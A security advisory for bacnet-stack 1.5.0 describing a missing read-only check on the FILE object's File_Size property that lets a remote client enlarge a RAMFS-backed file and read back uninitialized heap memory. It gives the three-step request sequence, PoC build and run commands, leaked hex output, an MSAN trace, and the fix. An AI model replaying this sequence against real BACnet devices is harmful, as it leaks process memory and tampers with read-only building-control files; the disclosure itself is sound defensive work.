Summary
Inbacnet-stack 1.5.0 (master branch commit 631bb8b), the BACnet FILE object implementation allows remote WriteProperty(PROP_FILE_SIZE) requests to change the size of a stream-access FILE object without checking whether that FILE is marked Read_Only. When the FILE backend is RAMFS, enlarging the file only performs realloc() and updates the stored size; the newly exposed tail region is not initialized before later reads.
As a result, a remote client can enlarge a read-only RAMFS-backed stream-access FILE and then immediately retrieve the newly exposed region with AtomicReadFile(stream-access). Depending on the allocator and build configuration, the returned data may contain sanitizer fill bytes, stale heap contents, or other unintended process memory. Shrinking the file through the same path can also remotely truncate content that was intended to be read-only.
Details
Affected code is located in:
src/bacnet/basic/object/bacfile.c
src/bacnet/basic/sys/bramfs.c
src/bacnet/basic/service/h_arf.c
Relevant logic:
bacfile_write_property() treats PROP_FILE_SIZE as writable and forwards valid unsigned values to bacfile_file_size_set().
bacfile_file_size_set() only checks whether File_Access_Stream is enabled:
if (pObject->File_Access_Stream) {
status = bacfile_file_size_set_callback(pObject->Pathname, file_size);
}
- It does not check
bacfile_read_only(), unlike the normal AtomicWriteFile paths.
- For a RAMFS-backed FILE, the callback reaches:
bacfile_write_property()
-> bacfile_file_size_set()
-> bacfile_ramfs_file_size_set()
- In
bacfile_ramfs_file_size_set(), enlargement is implemented as:
new_data = realloc(pFile->data, new_size);
if (new_data) {
pFile->data = new_data;
pFile->size = new_size;
status = true;
}
- No zero-fill or explicit initialization is applied to the newly added tail bytes.
- A later
AtomicReadFile(stream-access) request reaches:
handler_atomic_read_file()
-> bacfile_read_stream_data()
-> bacfile_ramfs_read_stream_data()
-> memcpy(fileData, pFile->data + fileStartPosition, len)
- This causes the expanded tail region to be returned as ordinary FILE content.
PoC
A client PoC is provided.
poc.c
The PoC targets OBJECT_FILE, instance 1, on the target server and performs the vulnerable sequence below:
The vulnerable sequence is:
ReadProperty(OBJECT_FILE, 1, PROP_FILE_SIZE)
WriteProperty(OBJECT_FILE, 1, PROP_FILE_SIZE = old_size + grow_by)
AtomicReadFile(OBJECT_FILE, 1, FILE_STREAM_ACCESS, fileStartPosition = old_size, requestedOctetCount = grow_by)
Reproduction steps
1. Build the server and poc client
cmake -S /home/user/bacnet-stack \
-B /home/user/bacnet-stack/build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_COMPILER=gcc
cmake --build /home/user/bacnet-stack/build --target server-ramfs poc -j"$(nproc)"
The reproduction below uses a target named server-ramfs. This is not an upstream example binary as-is; it is a variant derived from apps/server by switching the backup/restore FILE backend from the default POSIX path to the RAMFS-backed path, then initializing that FILE as stream-access plus read-only.
The relevant source diff against apps/server/main.c is:
--- apps/server/main.c
+++ apps/server-ramfs/main.c
@@ -51,7 +51,7 @@
-#include "bacfile-posix.h"
+#include "bacnet/basic/sys/bramfs.h"
@@ -158,6 +158,24 @@
+#if defined BACNET_BACKUP_RESTORE
+static void Server_RAMFS_Backup_File_Init(uint32_t instance)
+{
+ const char *pathname = "backup_1.bin";
+ static const uint8_t blob[] = "AAAAAAAAAAAA\0BBBBBBBBBBBB\0CCCCCCCCCCCC\0";
+ bacfile_pathname_set(instance, pathname);
+ bacfile_file_access_stream_set(instance, true);
+ bacfile_read_only_set(instance, true);
+ (void)bacfile_ramfs_write_stream_data(pathname, 0, blob, sizeof(blob));
+}
+#endif
@@ -182,12 +200,12 @@
- bacfile_posix_init();
+ bacfile_ramfs_init();
...
- bacfile_pathname_set(object_data.object_instance, "backup_1.bin");
+ Server_RAMFS_Backup_File_Init(object_data.object_instance);
2. Start the server
env \
BACNET_DATALINK=bip \
BACNET_IFACE=lo \
BACNET_IP_PORT=47809 \
/home/user/bacnet-stack/build/server-ramfs 260001
3. Run the poc
env \
BACNET_DATALINK=bip \
BACNET_IFACE=lo \
BACNET_IP_PORT=47810 \
BACNET_IP_BROADCAST_PORT=47809 \
/home/user/bacnet-stack/build/poc 260001 1 64
4. Rebuild with MSAN and rerun the vulnerable sequence
Because this issue is primarily an uninitialized-memory exposure, MSAN is the stronger diagnostic build for confirming that the returned bytes were never initialized before being sent.
cmake -S /home/user/bacnet-stack \
-B /home/user/bacnet-stack/build-msan \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_COMPILER=clang \
-DCMAKE_C_FLAGS='-fsanitize=memory -fno-omit-frame-pointer -fno-common' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=memory'
cmake --build /home/user/bacnet-stack/build-msan --target server-ramfs poc -j"$(nproc)"
env \
BACNET_DATALINK=bip \
BACNET_IFACE=lo \
BACNET_IP_PORT=47809 \
/home/user/bacnet-stack/build-msan/server-ramfs 260001
env \
BACNET_DATALINK=bip \
BACNET_IFACE=lo \
BACNET_IP_PORT=47810 \
BACNET_IP_BROADCAST_PORT=47809 \
/home/user/bacnet-stack/build-msan/poc 260001 1 64
Observed results
Vulnerable sequence without sanitizers
In a plain Debug build, the same vulnerable sequence first expands the read-only FILE from 40 to 104 bytes and then reads the new tail region starting at the old EOF. The request succeeds and returns non-file bytes that look like stale heap words rather than legitimate file contents:
[+] bound target device 260001 file 1
[*] sent ReadProperty(File_Size)
[+] old File_Size = 40
[*] sent WriteProperty(File_Size=104)
[+] WriteProperty(File_Size) acknowledged on target FILE
[*] sent AtomicReadFile(stream, start=40, count=64)
[+] AtomicReadFile returned 64 byte(s), eof=false
0000 : e3 49 52 90 ff ff ff ff e4 5e 2d 90 ff ff ff ff .IR......^-.....
0010 : e5 29 34 90 ff ff ff ff e6 47 4a 10 ff ff ff ff .)4......GJ.....
0020 : e7 12 51 10 ff ff ff ff e8 27 2c 10 ff ff ff ff ..Q......',.....
0030 : e8 f2 33 10 ff ff ff ff ea 07 0e 10 ff ff ff ff ..3.............
This output shows that:
WriteProperty(PROP_FILE_SIZE) succeeded even though the FILE was configured read-only
AtomicReadFile(stream-access) then returned the newly exposed tail region
- the returned bytes are not part of the original initialized file contents
The tail region contains pointer-like stale heap data rather than the initialized A/B/C file payload, which is strong evidence of real memory disclosure rather than merely a sanitizer fill pattern.
Vulnerable sequence under MSAN
When the server is rebuilt with MSAN, the server reports that uninitialized bytes are being sent while constructing the AtomicReadFile response:
Uninitialized bytes in __interceptor_sendto at offset 15 inside [0x7fffcbafca70, 80)
==206162==WARNING: MemorySanitizer: use-of-uninitialized-value
#0 0x701552 in bip_send_mpdu /home/user/bacnet-stack/ports/linux/bip-init.c:362:12
#1 0x7f0f21 in bvlc_send_pdu /home/user/bacnet-stack/src/bacnet/basic/bbmd/h_bbmd.c:642:12
#2 0x703071 in bip_send_pdu /home/user/bacnet-stack/ports/linux/bip-init.c:500:12
#3 0x66b52a in datalink_send_pdu /home/user/bacnet-stack/src/bacnet/datalink/datalink.c:167:21
#4 0x5e4c7e in handler_atomic_read_file /home/user/bacnet-stack/src/bacnet/basic/service/h_arf.c:259:22
#5 0x5e15e8 in apdu_handler /home/user/bacnet-stack/src/bacnet/basic/service/h_apdu.c:609:17
#6 0x4aaf98 in npdu_handler /home/user/bacnet-stack/src/bacnet/basic/npdu/h_npdu.c:279:21
#7 0x496166 in main /home/user/bacnet-stack/apps/server-ramfs/main.c:447:13
#8 0x7f789c08c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x41c3cd in _start (/home/user/bacnet-stack/build-msan/server-ramfs+0x41c3cd)
SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/user/bacnet-stack/ports/linux/bip-init.c:362:12 in bip_send_mpdu
Exiting
Although the first observable use occurs in sendto(), the data flow is consistent with the expanded RAMFS tail being copied into the AtomicReadFile reply and only then being caught by MSAN when that reply is sent.
Impact
This is a remote confidentiality and integrity issue on the server side.
- Confidentiality: a remote client can recover bytes from the newly expanded RAMFS tail even though those bytes were never initialized as legitimate file contents
- Integrity: a remote client can modify the length of a FILE that was intended to be read-only, including truncating it to zero or extending it arbitrarily
The issue is reachable through ordinary BACnet WriteProperty and AtomicReadFile traffic against a stream-access FILE object backed by RAMFS. It can leak stale heap contents or silently corrupt the effective contents of a read-only file object.
Suggested fix
- Reject
WriteProperty(PROP_FILE_SIZE) when bacfile_read_only(object_instance) is true
- Zero-initialize any newly allocated tail region in
bacfile_ramfs_file_size_set() before exposing it through reads
Remediation
Remediated within PR #1411 and includes the suggested fixes.
Summary
In
bacnet-stack1.5.0 (master branch commit 631bb8b), the BACnet FILE object implementation allows remoteWriteProperty(PROP_FILE_SIZE)requests to change the size of a stream-access FILE object without checking whether that FILE is markedRead_Only. When the FILE backend is RAMFS, enlarging the file only performsrealloc()and updates the stored size; the newly exposed tail region is not initialized before later reads.As a result, a remote client can enlarge a read-only RAMFS-backed stream-access FILE and then immediately retrieve the newly exposed region with
AtomicReadFile(stream-access). Depending on the allocator and build configuration, the returned data may contain sanitizer fill bytes, stale heap contents, or other unintended process memory. Shrinking the file through the same path can also remotely truncate content that was intended to be read-only.Details
Affected code is located in:
src/bacnet/basic/object/bacfile.csrc/bacnet/basic/sys/bramfs.csrc/bacnet/basic/service/h_arf.cRelevant logic:
bacfile_write_property()treatsPROP_FILE_SIZEas writable and forwards valid unsigned values tobacfile_file_size_set().bacfile_file_size_set()only checks whetherFile_Access_Streamis enabled:bacfile_read_only(), unlike the normalAtomicWriteFilepaths.bacfile_ramfs_file_size_set(), enlargement is implemented as:AtomicReadFile(stream-access)request reaches:PoC
A client PoC is provided.
poc.c
The PoC targets
OBJECT_FILE, instance1, on the target server and performs the vulnerable sequence below:The vulnerable sequence is:
ReadProperty(OBJECT_FILE, 1, PROP_FILE_SIZE)WriteProperty(OBJECT_FILE, 1, PROP_FILE_SIZE = old_size + grow_by)AtomicReadFile(OBJECT_FILE, 1, FILE_STREAM_ACCESS, fileStartPosition = old_size, requestedOctetCount = grow_by)Reproduction steps
1. Build the server and poc client
cmake -S /home/user/bacnet-stack \ -B /home/user/bacnet-stack/build \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_COMPILER=gcc cmake --build /home/user/bacnet-stack/build --target server-ramfs poc -j"$(nproc)"The reproduction below uses a target named
server-ramfs. This is not an upstream example binary as-is; it is a variant derived fromapps/serverby switching the backup/restore FILE backend from the default POSIX path to the RAMFS-backed path, then initializing that FILE asstream-accessplusread-only.The relevant source diff against
apps/server/main.cis:2. Start the server
3. Run the poc
4. Rebuild with MSAN and rerun the vulnerable sequence
Because this issue is primarily an uninitialized-memory exposure,
MSANis the stronger diagnostic build for confirming that the returned bytes were never initialized before being sent.Observed results
Vulnerable sequence without sanitizers
In a plain
Debugbuild, the same vulnerable sequence first expands the read-only FILE from40to104bytes and then reads the new tail region starting at the old EOF. The request succeeds and returns non-file bytes that look like stale heap words rather than legitimate file contents:This output shows that:
WriteProperty(PROP_FILE_SIZE)succeeded even though the FILE was configuredread-onlyAtomicReadFile(stream-access)then returned the newly exposed tail regionThe tail region contains pointer-like stale heap data rather than the initialized
A/B/Cfile payload, which is strong evidence of real memory disclosure rather than merely a sanitizer fill pattern.Vulnerable sequence under MSAN
When the server is rebuilt with
MSAN, the server reports that uninitialized bytes are being sent while constructing theAtomicReadFileresponse:Although the first observable use occurs in
sendto(), the data flow is consistent with the expanded RAMFS tail being copied into theAtomicReadFilereply and only then being caught byMSANwhen that reply is sent.Impact
This is a remote confidentiality and integrity issue on the server side.
The issue is reachable through ordinary BACnet
WritePropertyandAtomicReadFiletraffic against a stream-access FILE object backed by RAMFS. It can leak stale heap contents or silently corrupt the effective contents of a read-only file object.Suggested fix
WriteProperty(PROP_FILE_SIZE)whenbacfile_read_only(object_instance)is truebacfile_ramfs_file_size_set()before exposing it through readsRemediation
Remediated within PR #1411 and includes the suggested fixes.